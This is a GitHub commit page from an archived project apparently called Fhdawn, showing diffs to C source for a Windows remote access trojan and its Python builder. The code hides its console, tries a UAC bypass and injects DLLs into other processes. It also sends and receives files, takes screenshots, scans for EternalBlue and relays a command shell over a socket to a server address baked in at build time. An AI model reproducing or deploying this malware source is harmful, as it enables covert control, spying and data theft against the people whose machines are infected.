Skip to content
This repository has been archived by the owner on Aug 11, 2022. It is now read-only.

Commit

Permalink
Fix static variable bug.
Browse files Browse the repository at this point in the history
  • Loading branch information
quantumcore committed Oct 2, 2020
1 parent 8b5d483 commit 928eab5
Show file tree
Hide file tree
Showing 7 changed files with 60 additions and 55 deletions.
73 changes: 39 additions & 34 deletions fhdawn/connect.c
Original file line number Diff line number Diff line change
Expand Up @@ -19,17 +19,22 @@ int fsize = 0;
char* fileinfo[3];
char temp[BUFFER]; // Temporary buffer to receive file information


// Declare local, PAss parameter
struct sockaddr_in server;
SOCKET sockfd;

TOKEN_PRIVILEGES priv = { 0 };
HANDLE hModule = NULL;
HANDLE hProcess = NULL;
HANDLE hToken = NULL;


#define BREAK_WITH_ERROR( e ) { sockprintf(sockfd, "[-] %s. Error=%ld", e, GetLastError() ); break; }
#define BREAK_WITH_ERROR( e ) { sockprintf( "[-] %s. Error=%ld", e, GetLastError() ); break; }


// By @augustgl (github.com/augustgl)
void sockprintf(SOCKET sock, const char* words, ...) {
void sockprintf(const char* words, ...) {
static char textBuffer[BUFFER];
memset(textBuffer, '\0', BUFFER);
va_list args;
Expand All @@ -54,7 +59,7 @@ void sockSend(const char* data)
int totalsent = 0;
int buflen = strlen(data);
while (buflen > totalsent) {
int r = send(sockfd, data + totalsent, buflen - totalsent, 0);
int r = send( sockfd, data + totalsent, buflen - totalsent, 0);
if (lerror == WSAECONNRESET)
{
connected = FALSE;
Expand All @@ -70,7 +75,7 @@ void fhdawn_main(void)
while (connected)
{
memset(recvbuf, '\0', BUFFER);
int return_code = recv(sockfd, recvbuf, BUFFER, 0);
int return_code = recv(sockfd, recvbuf, BUFFER, 0);
if (return_code == SOCKET_ERROR && WSAGetLastError() == WSAECONNRESET)
{
connected = FALSE;
Expand All @@ -95,7 +100,7 @@ void fhdawn_main(void)
{
connected = FALSE;
}
sockprintf(sockfd, "%s - %s", recvbuf, IP2Host(recvbuf));
sockprintf( "%s - %s", recvbuf, IP2Host(recvbuf));
}

else if(strcmp(recvbuf, "checkport") == 0)
Expand Down Expand Up @@ -129,7 +134,7 @@ void fhdawn_main(void)
// Create file.
HANDLE recvfile = CreateFile(fileinfo[0], FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (recvfile == INVALID_HANDLE_VALUE) {
sockprintf(sockfd, "[Error Creating File] : %ld", GetLastError());
sockprintf( "[Error Creating File] : %ld", GetLastError());
}
else {
memset(recvbuf, '\0', BUFFER); // Clear main buffer
Expand All @@ -153,13 +158,13 @@ void fhdawn_main(void)

if (write == FALSE)
{
sockprintf(sockfd, "[Error Writing file %s of %s size] Error : %ld.", fileinfo[0], fileinfo[1], GetLastError());
sockprintf( "[Error Writing file %s of %s size] Error : %ld.", fileinfo[0], fileinfo[1], GetLastError());
}
else {
// sockprintf(sockfd, "\n[ Received File : %s ]\n[ File Size : %s bytes ]\n[ Bytes written : %ld ]\n", fileinfo[0], fileinfo[1], dwBytesWritten);
// sockprintf(sockfd, "\n[ Saved File : %s ]\n[ File Size : %i bytes ]\n", fileinfo[0], total);
// sockprintf( "\n[ Received File : %s ]\n[ File Size : %s bytes ]\n[ Bytes written : %ld ]\n", fileinfo[0], fileinfo[1], dwBytesWritten);
// sockprintf( "\n[ Saved File : %s ]\n[ File Size : %i bytes ]\n", fileinfo[0], total);
sockprintf(
sockfd,

"F_OK,%s,%i,%s\\%s",
fileinfo[0],
total,
Expand Down Expand Up @@ -226,7 +231,7 @@ void fhdawn_main(void)
BREAK_WITH_ERROR("Failed to inject the DLL");

WaitForSingleObject(hModule, -1);
sockprintf(sockfd, "DLL_OK:%ld", dwProcessId);
sockprintf( "DLL_OK:%ld", dwProcessId);
} while (0);

if (DLL)
Expand Down Expand Up @@ -255,7 +260,7 @@ void fhdawn_main(void)
for (int i = 0; i < 2; i++) {
if (*fileinfo[i] == '\0')
{
sockprintf(sockfd, "[ Invalid File Download Request ]\n");
sockprintf( "[ Invalid File Download Request ]\n");
upload = FALSE;
break;
}
Expand All @@ -271,13 +276,13 @@ void fhdawn_main(void)
fseek(fs, 0, SEEK_SET);

if(filesize <= 0){
sockprintf(sockfd, "File '%s' is of 0 bytes.", fileinfo[1]);
sockprintf( "File '%s' is of 0 bytes.", fileinfo[1]);
fclose(fs);
upload = FALSE;
break;
}

sockprintf(sockfd, "FILE:%s:%ld", fileinfo[1], filesize);
sockprintf( "FILE:%s:%ld", fileinfo[1], filesize);
Sleep(1000);
char fbuffer[500];
memset(fbuffer, '\0', 500);
Expand All @@ -294,7 +299,7 @@ void fhdawn_main(void)
}

else {
sockprintf(sockfd, "[ Error Opening file %s (Error %ld) ]", fileinfo[1], GetLastError());
sockprintf( "[ Error Opening file %s (Error %ld) ]", fileinfo[1], GetLastError());
}
}
// important
Expand Down Expand Up @@ -357,21 +362,21 @@ void fhdawn_main(void)
// on line 22 I'm using %ld to print the error, it works, What??
switch (x) {
case 2:
sockprintf(sockfd, "Error Changing Directory, File or Folder not Found (Error code %i)", x);
sockprintf( "Error Changing Directory, File or Folder not Found (Error code %i)", x);
break;
case 3:
sockprintf(sockfd, "Error Changing Directory, Path not found (Error Code %i)", x);
sockprintf( "Error Changing Directory, Path not found (Error Code %i)", x);
break;
case 5:
sockprintf(sockfd, "Error Changing Directory, Access Denied (Error Code %i)", x);
sockprintf( "Error Changing Directory, Access Denied (Error Code %i)", x);
break;
default:
sockprintf(sockfd, "Error Changing Directory, Error %i", x);
sockprintf( "Error Changing Directory, Error %i", x);
break;
}
}
else {
sockprintf(sockfd, "Directory Changed to '%s'", cDir());
sockprintf( "Directory Changed to '%s'", cDir());
}
}

Expand All @@ -384,21 +389,21 @@ void fhdawn_main(void)
{
if (DeleteFile(fileinfo[1]))
{
sockprintf(sockfd, "DEL_OK,%s,%s", fileinfo[1], cDir());
sockprintf( "DEL_OK,%s,%s", fileinfo[1], cDir());
}
else {
sockprintf(sockfd, "Error Deleting file : %i", GetLastError());
sockprintf( "Error Deleting file : %i", GetLastError());
}

}
else {
sockprintf(sockfd, "File '%s' does not exist.", fileinfo[1]);
sockprintf( "File '%s' does not exist.", fileinfo[1]);
}
}

// Capture screenshot
else if (strcmp(recvbuf, "screenshot") == 0) {
CaptureAnImage(GetDesktopWindow());
CaptureAnImage(GetDesktopWindow(), sockfd);
}

// Send process info
Expand All @@ -417,19 +422,19 @@ void fhdawn_main(void)
if (GetModuleFileNameEx(procHandle, NULL, FILEPATH, MAX_PATH) != 0)
{
// Send Process name, pid, and path back
sockprintf(sockfd, "PROCESS,%s,%ld,%s", fileinfo[1], pid, FILEPATH);
sockprintf( "PROCESS,%s,%ld,%s", fileinfo[1], pid, FILEPATH);
}
else {
sockprintf(sockfd, "PROCESS,%s,%ld,(error : %ld)", fileinfo[1], pid, GetLastError());
sockprintf( "PROCESS,%s,%ld,(error : %ld)", fileinfo[1], pid, GetLastError());
}
CloseHandle(procHandle);
}
else {
sockprintf(sockfd, "Failed to open Process : %s", fileinfo[1]);
sockprintf( "Failed to open Process : %s", fileinfo[1]);
}
}
else {
sockprintf(sockfd, "Process not running.");
sockprintf( "Process not running.");
}
}

Expand All @@ -439,10 +444,10 @@ void fhdawn_main(void)
{
if (IsAdmin())
{
sockprintf(sockfd, "ADMIN:TRUE");
sockprintf( "ADMIN:TRUE");
}
else {
sockprintf(sockfd, "ADMIN:FALSE");
sockprintf( "ADMIN:FALSE");
}

}
Expand All @@ -463,14 +468,14 @@ void fhdawn_main(void)

InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
sockprintf(sockfd, "WANIP:%s", wanip);
sockprintf( "WANIP:%s", wanip);
} else {
sockprintf(sockfd, "No Internet Connection detected ...");
sockprintf( "No Internet Connection detected ...");
}
}

else if (strcmp(recvbuf, "fhdawnpid") == 0){
sockprintf(sockfd, "FHDAWNPID:%s", FhdawnInfo());
sockprintf( "FHDAWNPID:%s", FhdawnInfo());
}

else if (strstr(recvbuf, "eternal_scan") != NULL) // eternal_scan:192.168.0.109
Expand All @@ -480,7 +485,7 @@ void fhdawn_main(void)
EternalBlueScan(fileinfo[1]);
}
else {
ExecSock();
ExecSock(sockfd);
}

}
Expand Down
12 changes: 6 additions & 6 deletions fhdawn/fhdawn.c
Original file line number Diff line number Diff line change
Expand Up @@ -63,7 +63,7 @@ DWORD ProcessId(LPCTSTR ProcessName)
return 0;
}

int CaptureAnImage(HWND hWnd)
int CaptureAnImage(HWND hWnd, SOCKET sockfd)
{
HDC hdcScreen;
HDC hdcWindow;
Expand All @@ -81,7 +81,7 @@ int CaptureAnImage(HWND hWnd)

if (!hdcMemDC)
{
sockprintf(sockfd, "CreateCompatibleDC has failed Error %i", GetLastError());
sockprintf("CreateCompatibleDC has failed Error %i", GetLastError());
goto done;
}

Expand All @@ -102,7 +102,7 @@ int CaptureAnImage(HWND hWnd)
GetSystemMetrics(SM_CYSCREEN),
SRCCOPY))
{
sockprintf(sockfd, "StretchBlt has failed Error %i", GetLastError());
sockprintf("StretchBlt has failed Error %i", GetLastError());
goto done;
}

Expand All @@ -111,7 +111,7 @@ int CaptureAnImage(HWND hWnd)

if (!hbmScreen)
{
sockprintf(sockfd, "CreateCompatibleBitmap Failed Error %i", GetLastError());
sockprintf("CreateCompatibleBitmap Failed Error %i", GetLastError());
goto done;
}

Expand All @@ -126,7 +126,7 @@ int CaptureAnImage(HWND hWnd)
0, 0,
SRCCOPY))
{
sockprintf(sockfd, "BitBlt has failed Error %i", GetLastError());
sockprintf( "BitBlt has failed Error %i", GetLastError());
goto done;
}

Expand Down Expand Up @@ -184,7 +184,7 @@ int CaptureAnImage(HWND hWnd)
bmfHeader.bfType = 0x4D42; //BM

TimeStamp(buffer);
sockprintf(sockfd, "SCREENSHOT:%s.bmp:%i", buffer, sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + dwBmpSize);
sockprintf("SCREENSHOT:%s.bmp:%i", buffer, sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + dwBmpSize);
DWORD dwBytesWritten = 0;
WriteFile((HANDLE)sockfd, (LPSTR)&bmfHeader, sizeof(BITMAPFILEHEADER), &dwBytesWritten, NULL);
WriteFile((HANDLE)sockfd, (LPSTR)&bi, sizeof(BITMAPINFOHEADER), &dwBytesWritten, NULL);
Expand Down
10 changes: 4 additions & 6 deletions fhdawn/fhdawn.h
Original file line number Diff line number Diff line change
Expand Up @@ -26,18 +26,16 @@ Modified: -
#define BUFFER 1024
// I don't feel good about declaring these static.
static BOOL connected = FALSE;
static struct sockaddr_in server;
static SOCKET sockfd;
static char recvbuf[BUFFER];
char recvbuf[BUFFER];
//=====================
void ReportError(void);
void WSAReportError(void);

int CaptureAnImage(HWND hWnd);
int CaptureAnImage(HWND hWnd, SOCKET sockfd);
void TimeStamp(char buffer[100]);
BOOL IsAdmin();
//=====================
void sockprintf(SOCKET sock, const char* words, ...);
void sockprintf(const char* words, ...);
void UACTrigger();
char* FhdawnInfo();
BOOL isFile(const char* file);
Expand All @@ -50,7 +48,7 @@ void fhdawn_main(void);
void MainConnect(void);
void sockSend(const char* data);
DWORD ProcessId(LPCTSTR ProcessName);
void ExecSock(void);
void ExecSock(SOCKET sockfd);
void CheckHost(const char* ip_address);
void checkPort(const char* ip, int port);
const char* IP2Host(const char* IP);
Expand Down
1 change: 1 addition & 0 deletions fhdawn/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ If you decide to copy, Don't forget to give me credit.
int main() // entry point
{
FreeConsole();

if(!IsAdmin()){
UACTrigger();
Sleep(2000);
Expand Down
8 changes: 4 additions & 4 deletions fhdawn/network.c
Original file line number Diff line number Diff line change
Expand Up @@ -82,7 +82,7 @@ void CheckHost(const char* ip_address)
snprintf(MacAddress, 200, "%.2X-%.2X-%.2X-%.2X-%.2X-%.2X",mac[0],mac[1],mac[2],mac[3],mac[4],mac[5]);
// std::string Result = "[HOST]" + std::string(ip_address) + " - " + IP2Host(ip_address) + " - " + std::string(MacAddress);
// send_data(Result);
sockprintf(sockfd, "[HOST] %s - %s - %s", ip_address, IP2Host(ip_address), MacAddress);
sockprintf( "[HOST] %s - %s - %s", ip_address, IP2Host(ip_address), MacAddress);
} else {
// send_data("Warning: SendArp completed successfully, but returned 0. Failed to get MAC.");
sockSend("Warning: SendArp completed successfully, but returned 0. Failed to get MAC.");
Expand All @@ -91,7 +91,7 @@ void CheckHost(const char* ip_address)
else {
// err_response << "Error Failed to get MAC : " << ip_address << "\n";
// send_data(err_response.str());
sockprintf(sockfd, "Error Failed to get Mac : %s", ip_address);
sockprintf( "Error Failed to get Mac : %s", ip_address);
}
}

Expand All @@ -102,7 +102,7 @@ void checkPort(const char* ip, int port)
connectsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
if(connectsock == SOCKET_ERROR || connectsock == INVALID_SOCKET)
{
sockprintf(sockfd, "Error creating socket %ld", WSAGetLastError());
sockprintf( "Error creating socket %ld", WSAGetLastError());
}

hostx.sin_addr.s_addr = inet_addr(ip);
Expand All @@ -112,7 +112,7 @@ void checkPort(const char* ip, int port)
int check = connect(connectsock, (struct sockaddr*)&hostx, sizeof(hostx));
if(check != SOCKET_ERROR)
{
sockprintf(sockfd, "OPENPORT:%s,%i", ip,port);
sockprintf( "OPENPORT:%s,%i", ip,port);
closesocket(connectsock);

} else {
Expand Down
4 changes: 2 additions & 2 deletions fhdawn/sys.c
Original file line number Diff line number Diff line change
Expand Up @@ -30,12 +30,12 @@ void UserPC()
DWORD hlen = sizeof(hostname) / sizeof(hostname[0]);
GetUserNameA(username, &len);
GetComputerNameA(hostname, &hlen);
sockprintf(sockfd, "%s / %s", username, hostname);
sockprintf( "%s / %s", username, hostname);

}


void ExecSock(void)
void ExecSock(SOCKET sockfd)
{
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
Expand Down
7 changes: 4 additions & 3 deletions pycore/builder.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@ def Build(host, port):
print("[+] Built : {x}".format(x = os.path.abspath("Fhdawn.exe")))
else:
print("[X] Error building Fhdawn.")
inplace_change("connect.c", host, "{{serverhost}}")
inplace_change("connect.c", port, "{{serverport}}")
os.chdir("..")

inplace_change("connect.c", host, "{{serverhost}}")
inplace_change("connect.c", port, "{{serverport}}")
os.chdir("..")

0 comments on commit 928eab5

Please sign in to comment.